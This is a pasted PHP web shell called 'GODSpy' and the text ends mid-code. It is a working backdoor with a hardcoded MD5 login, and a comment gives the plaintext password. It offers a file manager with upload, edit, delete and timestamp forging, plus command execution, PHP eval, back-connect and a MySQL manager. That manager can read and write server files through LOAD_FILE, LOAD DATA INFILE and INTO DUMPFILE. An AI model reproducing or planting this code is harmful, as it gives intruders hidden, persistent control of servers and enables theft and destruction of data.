· 9 years ago · Jun 02, 2017, 11:44 AM
1<?php
2error_reporting(0);
3@set_magic_quotes_runtime(0);
4@set_time_limit(0);
5@ini_set('max_execution_time',0);
6@ini_set('memory_limit','128M');
7@ini_set('upload_max_filesize','40M');
8define('F_ROOT',str_replace('\\','/',(($cwd = getcwd()) ? $cwd : ($_SERVER['SCRIPT_FILENAME'] ? dirname($_SERVER['SCRIPT_FILENAME']) : '.'))).'/');
9define('S_ROOT',str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']));
10define('IS_WIN',DIRECTORY_SEPARATOR=='\\');
11define('IS_COM',class_exists('COM') ? 1 : 0 );
12define('IS_GPC',get_magic_quotes_gpc());
13define('IS_PHPINFO', isfunc("phpinfo"));
14ob_start();
15$timestamp=time();
16$mtime = explode(' ',microtime());
17$starttime = $mtime[1] + $mtime[0];
18$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
19if(!empty($_SERVER['QUERY_STRING'])){$self.='?'.$_SERVER['QUERY_STRING'];}
20foreach(array('_GET','_POST') as $_request) {
21 foreach($$_request as $_key => $_value) {
22 if($_key{0} != '_') {
23 if(IS_GPC) {$_value=s_array($_value);}
24 $$_key = $_value;
25 }
26 }
27}
28$admin=array('check' => 1, 'pass' => '8f9b5d8b1d8501b33fc7eb86e6ca15f2','cookiepre' => '','cookiedomain' => '','cookiepath' => '/','cookielife' => 86400);
29// Encrypted: 8f9b5d8b1d8501b33fc7eb86e6ca15f2
30// Decrypted: MD5 : cojelon
31
32if($charset == 'utf8') {
33header("content-Type: text/html; charset=utf-8");
34} elseif($charset == 'latin1') {
35header("content-Type: text/html; charset=iso-8859-1");
36}
37if($haz == "logout") {
38 scookie('godssid', '', -86400 * 365);
39 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
40 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
41 exit;
42}
43if($admin['check']) {
44$password = md5($password);
45 if($doing == 'login') {
46 if($admin['pass'] == $password) {
47 scookie('godssid', $password);
48 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
49 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
50 exit;
51 }
52 }
53 if($_COOKIE['godssid']) {
54 if($_COOKIE['godssid'] != $admin['pass']) loginpage();
55 } else loginpage();
56}
57$errmsg='';
58if($haz=='phpinfo') {
59 if(IS_PHPINFO) {phpinfo();die('<h1 style="text-align:center"><a href="'.$self.'">Back to GodSpy</a></h1>');}else{$errmsg='phpinfo() function disabled';}
60}
61if($doing == 'downfile' && $thefile) {
62 if(!@file_exists($thefile)) {
63 $errmsg = 'The file you want to Download not exist';
64 } else {
65 $fileinfo = pathinfo($thefile);
66 header('Content-type: application/x-'.$fileinfo['extension']);
67 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
68 header('Content-Length: '.filesize($thefile));
69 @readfile($thefile);
70 exit;
71 }
72}
73if($doing=='backupmysql' && !$saveasfile) {
74 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
75 $table = array_flip($table);
76 $result = q("SHOW tables");
77 if(!$result) p('<h2>'.mysql_error().'</h2>');
78 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
79 header('Content-type: application/unknown');
80 header('Content-Disposition: attachment; filename='.$filename);
81 $mysqldata = '';
82 while ($currow = mysql_fetch_array($result)) {
83 if(isset($table[$currow[0]])) {
84 $mysqldata .= sqldumptable($currow[0]);
85 }
86 }
87 mysql_close($lnk);
88 exit;
89}
90if($doing=='mysqldown'){
91 if(!$dbname) {
92 $errmsg = 'Please input dbname';
93 } else {
94 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
95 if(!file_exists($mysqldlfile)) {
96 $errmsg = 'The file you want Downloadable was nonexistent';
97 } else {
98 $result = q("select load_file('$mysqldlfile');");
99 if(!$result){
100 q("DROP TABLE IF EXISTS tmp_god;");
101 q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);");
102 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$timestamp}_eof__';");
103 $result = q("select content from tmp_god");
104 q("DROP TABLE tmp_god");
105 }
106 $row = @mysql_fetch_array($result);
107 if(!$row) {
108 $errmsg = 'Load file failed '.mysql_error();
109 } else {
110 $fileinfo = pathinfo($mysqldlfile);
111 header('Content-type: application/x-'.$fileinfo['extension']);
112 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
113 header("Accept-Length: ".strlen($row[0]));
114 echo $row[0];
115 exit;
116 }
117 }
118 }
119}
120?>
121<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
122
123<html xmlns="http://www.w3.org/1999/xhtml">
124<head>
125<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
126<meta name="robots" content="noindex, nofollow, noarchive" />
127<title><?php echo $_SERVER['HTTP_HOST'];?> | GODSpy</title>
128<style type="text/css">
129body{margin:0;table-layout:fixed;word-break:break-all;}
130body,td,.input,.bt{font:12px Arial,Tahoma;}
131body,td{line-height:16px;}
132.input{line-height:22px;}
133.input,.area{background:#fff;border:1px solid #666;padding:2px;}
134.area{font:12px Consolas, 'Courier New', Monospace;}
135.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;height:22px;}
136a {color:#00f;text-decoration:underline;}
137a:hover{color:#f00;text-decoration:none;}
138.w{color:green;font-weight:bold;}
139.r{color:red;}
140.alt1 td, .alt2 td, .focus td, .head td {border-top:1px solid #fff;border-bottom:1px solid #ddd;padding:5px 10px 5px 5px;}
141.alt1 td{background:#f1f1f1;}
142.alt2 td{background:#f9f9f9;}
143.focus td{background:#ffa;}
144.head td{background:#e9e9e9;font-weight:bold;}
145.head td span{font-weight:normal;}
146form, h2{margin:0;padding:0;}
147h2{height:24px;line-height:24px;font-size:14px;color:#5B686F;}
148ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
149u{text-decoration:none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
150.e,.m {padding:10px;text-align:center;font-weight:bold;}
151.e {background:#FFC;border:1px solid #F30;}
152.m {background:#CF9;border:1px solid #0C3;}
153.nw{white-space:nowrap;}
154</style>
155<script type="text/javascript"><!--
156function CheckAll(form) {
157for(var i=0;i<form.elements.length;i++) {
158 var e = form.elements[i];
159 if(e.name != 'chkall')
160 e.checked = form.chkall.checked;
161 }
162}
163function $(id){return document.getElementById(id);}
164function gohaz(act){
165$('gohaz').haz.value=act;
166$('gohaz').submit();
167}
168//--></script>
169</head>
170<body>
171<table width="100%" border="0" cellpadding="0" cellspacing="0">
172<tr class="head">
173 <td><span style="float:right;"><b>GODSpy Ver: <?php echo date('Y');?></b></span>Your IP: <?php echo $_SERVER['REMOTE_ADDR'] . ' | Server Data: ' .$_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
174
175</tr>
176<tr class="alt1">
177 <td><span style="float:right;">Safe Mode: <?php echo getcfg('safe_mode');?></span>
178 <a href="javascript:gohaz('logout');">Logout</a> | <a href="javascript:gohaz('file');">File Manager</a> |
179 <a href="javascript:gohaz('sqladmin');">MySQL Manager</a> | <a href="javascript:gohaz('sqlf');">MySQL Upload & Download</a> |
180 <a href="javascript:gohaz('sh');">Execute Command</a> | <a href="javascript:gohaz('env');">PHP Variable</a> |
181 <a href="javascript:gohaz('evl');">Eval PHP Code</a><?php if(!IS_WIN) {?> | <a href="javascript:gohaz('bconx');">Back Connect</a><?php }?>
182
183 </td>
184</tr>
185</table>
186<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
187<?php
188formhead(array('name'=>'gohaz'));
189makehide('haz');
190p('</form>');
191$errmsg && m($errmsg,'e');
192!$dir && $dir = '.';
193$nowpath = getPath(F_ROOT, $dir);
194if(substr($dir, -1) != '/') {
195 $dir = $dir.'/';
196}
197$uedir = ue($dir);
198if(!$haz || $haz == 'file') {
199 $dir_writeable = @is_writable($nowpath) ? '<span class="w">Writable</span>' : '<span class="r">Non-writable</span>';
200 if($doing == 'deldir' && $thefile) {
201 if(!file_exists($thefile)) m("$thefile directory does not exist",'e');
202 elseif(deltree($thefile)) m('Directory '.basename($thefile).' delete success');
203 else m('Directory '.basename($thefile).' delete failed','e');
204 }elseif($doing == 'delf' && $thefile) {
205 if(!file_exists($thefile)) m("$thefile does not exist",'e');
206 elseif(@unlink($thefile)) m("The File <em>$thefile</em> has been deleted");
207 else m("File <em>$thefile</em> delete failed",'e');
208 }
209 elseif($newdirname) {
210 $mkdirs = $nowpath.$newdirname;
211 if(file_exists($mkdirs)) m("Directory $newdirname has already exists",'e');
212 elseif(@mkdir($mkdirs,0777)) {@chmod($mkdirs,0777);m("Directory $newdirname created success");}
213 else m("Directory $newdirname creation failed",'e');
214 }
215 elseif($doupfile) {
216 if(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name'])) m('File upload success');
217 else m('File upload failed','e');
218 }
219 elseif($editfilename && $filecontent) {
220 if(sv_file($editfilename, $filecontent)) m("Save file success");
221 else m('Save file failed','e');
222 }
223 elseif($pfile && $newperm) {
224 if(!file_exists($pfile)) m('The original file does not exist','e');
225 else {
226 $newperm = base_convert($newperm,8,10);
227 if(@chmod($pfile,$newperm)) m('Modify file attributes success');
228 else m('Modify file attributes failed','e');
229 }
230 }
231 elseif($oldname && $newfilename) {
232 $nname = $nowpath.$newfilename;
233 if(file_exists($nname) || !file_exists($oldname)) m($nname.' has already existed or original file does not exist','e');
234 else m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : '<i class="r">failed</i>'));
235 }
236 elseif($sname && $tofile) {
237 if(file_exists($tofile) || !file_exists($sname)) m('The goal file has already existed or original file does not exist','e');
238 elseif(@copy($sname,$tofile)) m(basename($tofile).' copied '.basename($tofile).' success');
239 else m(basename($tofile).' copied failed','e');
240 }
241 elseif($curfile && $tarfile) {
242 $time = @filemtime($tarfile);
243 if(!@file_exists($curfile) || !@file_exists($tarfile)) m('The goal file has already existed or original file does not exist','e');
244 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
245 else m('Modify file the last modified failed','e');
246 }
247 elseif($curfile && $year && $month && $day && $hour && $minute && $second) {
248 $time = strtotime("$year-$month-$day $hour:$minute:$second");
249 if(!@file_exists($curfile)) m(basename($curfile).' does not exist','e');
250 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
251 else m('Modify file the last modified failed');
252 }
253 elseif($doing == 'downrar') {
254 if($dl) {
255 $dfiles='';
256 foreach ($dl as $filepath => $value) {
257 $dfiles.=$filepath.',';
258 }
259 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
260 $dl=explode(',',$dfiles);
261 $zip=new PHPZip($dl);
262 $code=$zip->out;
263 header('Content-type: application/octet-stream');
264 header('Accept-Ranges: bytes');
265 header('Accept-Length: '.strlen($code));
266 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
267 echo $code;
268 exit;
269 } else {
270 m('Please select file(s)','e');
271 }
272 }
273 elseif($doing=='delfiles') {
274 if($dl) {
275 $dfiles='';
276 $succ = $fail = 0;
277 foreach ($dl as $filepath => $value) {
278 if(@unlink($filepath)) {
279 $succ++;
280 } else {
281 $fail++;
282 }
283 }
284 m('Deleting '.count($dl).' files: <span class="w">success '.$succ.'</span> - <span class="r">fail '.$fail.'</span>','e');
285 } else {
286 m('Please select a file(s)','e');
287 }
288 }
289 formhead(array('name'=>'createdir'));
290 makehide('newdirname');
291 makehide('dir',$nowpath);
292 p('</form>');
293 formhead(array('name'=>'fileperm'));
294 makehide('newperm');
295 makehide('pfile');
296 makehide('dir',$nowpath);
297 p('</form>');
298 formhead(array('name'=>'copyfile'));
299 makehide('sname');
300 makehide('tofile');
301 makehide('dir',$nowpath);
302 p('</form>');
303 formhead(array('name'=>'rename'));
304 makehide('oldname');
305 makehide('newfilename');
306 makehide('dir',$nowpath);
307 p('</form>');
308 formhead(array('name'=>'fileopform'));
309 makehide('haz');
310 makehide('opfile');
311 makehide('dir');
312 p('</form>');
313 $free = @disk_free_space($nowpath);
314 !$free && $free = 0;
315 $all = @disk_total_space($nowpath);
316 !$all && $all = 0;
317 $used = $all-$free;
318 $used_percent = @round(100/($all/$free),2);
319 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
320?>
321
322<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
323 <form action="" method="post" id="godir" name="godir">
324 <tr>
325 <td class="nw">Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
326 <td width="100%"><input name="view_writable" value="0" type="hidden" />
327 <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;" /></td>
328 <td class="nw"><input class="bt" value="GO" type="submit" /></td>
329 </tr>
330
331 </form>
332</table>
333<script type="text/javascript">
334okdir = 'Are you sure to delete this directory?\n\nIf non-empty directory, will be delete all the files.';
335okfil = 'Are you sure to delete this file?';
336function createdir(){
337 var newdirname;
338 newdirname = prompt('Please input the directory name:', '');
339 if(!newdirname) return;
340 $('createdir').newdirname.value=newdirname;
341 $('createdir').submit();
342}
343function fileperm(pfile){
344 var newperm;
345 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
346 if(!newperm) return;
347 $('fileperm').newperm.value=newperm;
348 $('fileperm').pfile.value=pfile;
349 $('fileperm').submit();
350}
351function copyfile(sname){
352 var tofile;
353 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
354 if(!tofile) return;
355 $('copyfile').tofile.value=tofile;
356 $('copyfile').sname.value=sname;
357 $('copyfile').submit();
358}
359function rename(oldname){
360 var newfilename;
361 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
362 if(!newfilename) return;
363 $('rename').newfilename.value=newfilename;
364 $('rename').oldname.value=oldname;
365 $('rename').submit();
366}
367function dofile(doing,thefile,m) {
368 if(m && !confirm(m)) {return;}
369 $('filelist').doing.value=doing;
370 if(thefile){
371 $('filelist').thefile.value=thefile;
372 }
373 $('filelist').submit();
374}
375function createfile(nowpath){
376 var filename;
377 filename = prompt('Please input the file name:', '');
378 if(!filename) return;
379 opfile('editfile',nowpath + filename,nowpath);
380}
381function opfile(haz,opfile,dir){
382 $('fileopform').haz.value=haz;
383 $('fileopform').opfile.value=opfile;
384 $('fileopform').dir.value=dir;
385 $('fileopform').submit();
386}
387function godir(dir,view_writable){
388 if(view_writable) {
389 $('godir').view_writable.value=1;
390 }
391 $('godir').dir.value=dir;
392 $('godir').submit();
393}
394</script>
395<?php
396 tbhead();
397 p('<form action="'.$self.'" method="post" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
398 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
399 p('<a href="javascript:godir(\''.S_ROOT.'\');">WebRoot</a>');
400 if($view_writable) {
401 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
402 } else {
403 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
404 }
405 p(' | <a href="javascript:createdir();">Make Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Make File</a>');
406 if(IS_WIN && IS_COM) {
407 $obj = new COM('scripting.filesystemobject');
408 if($obj && is_object($obj)) {
409 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
410 foreach($obj->Drives as $drive) {
411 if($drive->DriveType == 2) {
412 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
413 } else {
414 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
415 }
416 }
417 }
418 }
419 p('</td></tr></form>');
420 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / User</td><td width="22%">Action</td></tr>');
421 $dirdata=array();
422 $filedata=array();
423 if($view_writable) {
424 $dirdata = GetList($nowpath);
425 } else {
426 $dirs=@opendir($dir);
427 while ($file=@readdir($dirs)) {
428 $filepath=$nowpath.$file;
429 if(@is_dir($filepath)){
430 $dirdb['filename']=$file;
431 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
432 $dirdb['dirchmod']=getChmod($filepath);
433 $dirdb['dirperm']=getPerms($filepath);
434 $dirdb['fileowner']=getUser($filepath);
435 $dirdb['dirlink']=$nowpath;
436 $dirdb['server_link']=$filepath;
437 $dirdb['client_link']=ue($filepath);
438 $dirdata[]=$dirdb;
439 } else {
440 $filedb['filename']=$file;
441 $filedb['size']=sizecount(@filesize($filepath));
442 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
443 $filedb['filechmod']=getChmod($filepath);
444 $filedb['fileperm']=getPerms($filepath);
445 $filedb['fileowner']=getUser($filepath);
446 $filedb['dirlink']=$nowpath;
447 $filedb['server_link']=$filepath;
448 $filedb['client_link']=ue($filepath);
449 $filedata[]=$filedb;
450 }
451 }
452 unset($dirdb);
453 unset($filedb);
454 @closedir($dirs);
455 }
456 @sort($dirdata);
457 @sort($filedata);
458 $dir_i = '0';
459 foreach($dirdata as $key => $dirdb){
460 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
461 $tbg = bg();
462 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
463 p('<td width="2%" class="nw"> </td>');
464 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
465 p('<td class="nw">'.$dirdb['mtime'].'</td>');
466 p('<td class="nw">--</td>');
467 p('<td class="nw">');
468 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].' / '.$dirdb['dirperm'].'</a>');
469 p($dirdb['fileowner'].'</td>');
470 p('<td class="nw"><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',okdir)">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
471 p('</tr>');
472 $dir_i++;
473 } else {
474 if($dirdb['filename']=='..') {
475 p('<tr class="'.bg().'">');
476 p('<td align="center"><font face="Wingdings 3" size=4>UP</font></td><td class="nw" colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
477 p('</tr>');
478 }
479 }
480 }
481 p('<tr><td style="background:#555;height:3px;" colspan="6"> </td></tr>');
482 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
483 makehide('haz','file');
484 makehide('thefile');
485 makehide('doing');
486 makehide('dir',$nowpath);
487 $file_i = '0';
488 foreach($filedata as $key => $filedb){
489 if($filedb['filename']!='..' && $filedb['filename']!='.') {
490 $fileurl = str_replace(S_ROOT,'',$filedb['server_link']);
491 $thisbg = bg();
492 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
493 p('<td width="2%" class="nw"><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']" /></td>');
494 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
495 p('<td class="nw">'.$filedb['mtime'].'</td>');
496 p('<td class="nw">'.$filedb['size'].'</td>');
497 p('<td class="nw">');
498 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].' / '.$filedb['fileperm'].'</a>');
499 p($filedb['fileowner'].'</td>');
500 p('<td class="nw">');
501 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
502 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
503 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
504 p('<a href="javascript:dofile(\'delf\',\''.$filedb['server_link'].'\', okfil)" title="Delete">Del</a> | <a href="javascript:rename(\''.$filedb['server_link'].'\');" title="Rename">Ren</a> | ');
505 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
506 p('</td></tr>');
507 $file_i++;
508 }
509 }
510 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
511 p('</form></table>');
512}
513elseif($haz == 'sqlf') {
514 if($doing=="mysqlupload"){
515 $file = $_FILES['uploadfile'];
516 $filename = $file['tmp_name'];
517 if(file_exists($savepath)) {
518 m('The goal file has already existed');
519 } else {
520 if(!$filename) {
521 m('Please choose a file');
522 } else {
523 $fp=@fopen($filename,'r');
524 $contents=@fread($fp, filesize($filename));
525 @fclose($fp);
526 $contents = bin2hex($contents);
527 if(!$upname) $upname = $file['name'];
528 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
529 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
530 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
531 }
532 }
533 }
534?>
535
536<script type="text/javascript">
537function mysqlfile(doing){
538 if(!doing) return;
539 $('doing').value=doing;
540 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
541 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
542 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
543 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
544 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
545 $('mysqlfile').charset.value=$('dbinfo').charset.value;
546 $('mysqlfile').submit();
547}
548</script>
549<?php
550 !$dbhost && $dbhost = 'localhost';
551 !$dbuser && $dbuser = 'root';
552 !$dbport && $dbport = '3306';
553 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
554 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
555 makehide('haz','sqlf');
556 p('<p>');
557 p('DBHost:');
558 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
559 p(':');
560 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
561 p('DBUser:');
562 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
563 p('DBPass:');
564 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
565 p('DBName:');
566 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
567 p('DBCharset:');
568 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
569 p("</p>\n</form>");
570 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" id="mysqlfile">');
571 p('<h2>Upload file</h2>');
572 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
573 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
574 p('<h2>Download file</h2>');
575 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
576 makehide('dbhost');
577 makehide('dbport');
578 makehide('dbuser');
579 makehide('dbpass');
580 makehide('dbname');
581 makehide('charset');
582 makehide('doing');
583 makehide('haz','sqlf');
584 p('</form>');
585}
586elseif($haz=='sqladmin') {
587 !$dbhost && $dbhost = 'localhost';
588 !$dbuser && $dbuser = 'root';
589 !$dbport && $dbport = '3306';
590 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
591 if(isset($dbhost)){
592 $dbform .= '<input type="hidden" id="dbhost" name="dbhost" value="'.$dbhost.'" />'."\n";
593 }
594 if(isset($dbuser)) {
595 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
596 }
597 if(isset($dbpass)) {
598 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
599 }
600 if(isset($dbport)) {
601 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
602 }
603 if(isset($dbname)) {
604 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
605 }
606 if(isset($charset)) {
607 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
608 }
609 if($doing == 'backupmysql' && $saveasfile) {
610 if(!$table) {
611 m('Please choose the table','e');
612 } else {
613 $lnk=dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
614 $table = array_flip($table);
615 $fp = @fopen($path,'w');
616 if($fp) {
617 $result = q('SHOW tables');
618 if(!$result) p('<h2>'.mysql_error().'</h2>');
619 $mysqldata = '';
620 while($currow = mysql_fetch_array($result)) {
621 if(isset($table[$currow[0]])) {
622 sqldumptable($currow[0], $fp);
623 }
624 }
625 fclose($fp);
626 $fileurl = str_replace(F_ROOT,'',$path);
627 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
628 mysql_close($lnk);
629 } else {
630 m('Backup failed','e');
631 }
632 }
633 }
634 if($insert && $insertsql) {
635 $keystr = $valstr = $tmp = '';
636 foreach($insertsql as $key => $val) {
637 if($val) {
638 $keystr .= $tmp.$key;
639 $valstr .= $tmp."'".addslashes($val)."'";
640 $tmp = ',';
641 }
642 }
643 if($keystr && $valstr) {
644 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
645 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
646 }
647 }
648 if($update && $insertsql && $base64) {
649 $valstr = $tmp = '';
650 foreach($insertsql as $key => $val) {
651 $valstr .= $tmp.$key."='".addslashes($val)."'";
652 $tmp = ',';
653 }
654 if($valstr) {
655 $where = base64_decode($base64);
656 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
657 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
658 }
659 }
660 if($doing == 'del' && $base64) {
661 $where = base64_decode($base64);
662 $delete_sql = "DELETE FROM $tablename WHERE $where";
663 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
664 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
665 }
666 if($tablename && $doing == 'drop') {
667 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
668 if(q("DROP TABLE $tablename")) {
669 m('Drop table of success');
670 $tablename = '';
671 } else {
672 m(mysql_error());
673 }
674 }
675 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
676 formhead(array('title'=>'MYSQL Manager'));
677 makehide('haz','sqladmin');
678 p('<p>');
679 p('DBHost:');
680 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
681 p(':');
682 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
683 p('DBUser:');
684 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
685 p('DBPass:');
686 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
687 p('DBCharset:');
688 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
689 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
690 p("</p>\n</form>");
691?>
692
693<script type="text/javascript">
694function editrecord(haz, base64, tablename){
695 if(haz == 'del') {
696 if(!confirm('Is or isn\'t deletion record?')) return;
697 }
698 $('recordlist').doing.value=haz;
699 $('recordlist').base64.value=base64;
700 $('recordlist').tablename.value=tablename;
701 $('recordlist').submit();
702}
703function moddbname(dbname) {
704 if(!dbname) return;
705 $('setdbname').dbname.value=dbname;
706 $('setdbname').submit();
707}
708function settable(tablename,doing,page) {
709 if(!tablename) return;
710 if(doing) {
711 $('settable').doing.value=doing;
712 }
713 if(page) {
714 $('settable').page.value=page;
715 }
716 $('settable').tablename.value=tablename;
717 $('settable').submit();
718}
719</script>
720<?php
721formhead(array('name'=>'recordlist'));
722makehide('doing');
723makehide('haz','sqladmin');
724makehide('base64');
725makehide('tablename');
726p($dbform);
727p('</form>');
728formhead(array('name'=>'setdbname'));
729makehide('haz','sqladmin');
730p($dbform);
731if(!$dbname) {
732 makehide('dbname');
733}
734p('</form>');
735formhead(array('name'=>'settable'));
736makehide('haz','sqladmin');
737p($dbform);
738makehide('tablename');
739makehide('page',$page);
740makehide('doing');
741p('</form>');
742$cachetables = array();
743$pagenum = 30;
744$page = intval($page);
745if($page) {
746 $start_limit = ($page - 1) * $pagenum;
747 } else {
748 $start_limit = 0;
749 $page = 1;
750}
751if(isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
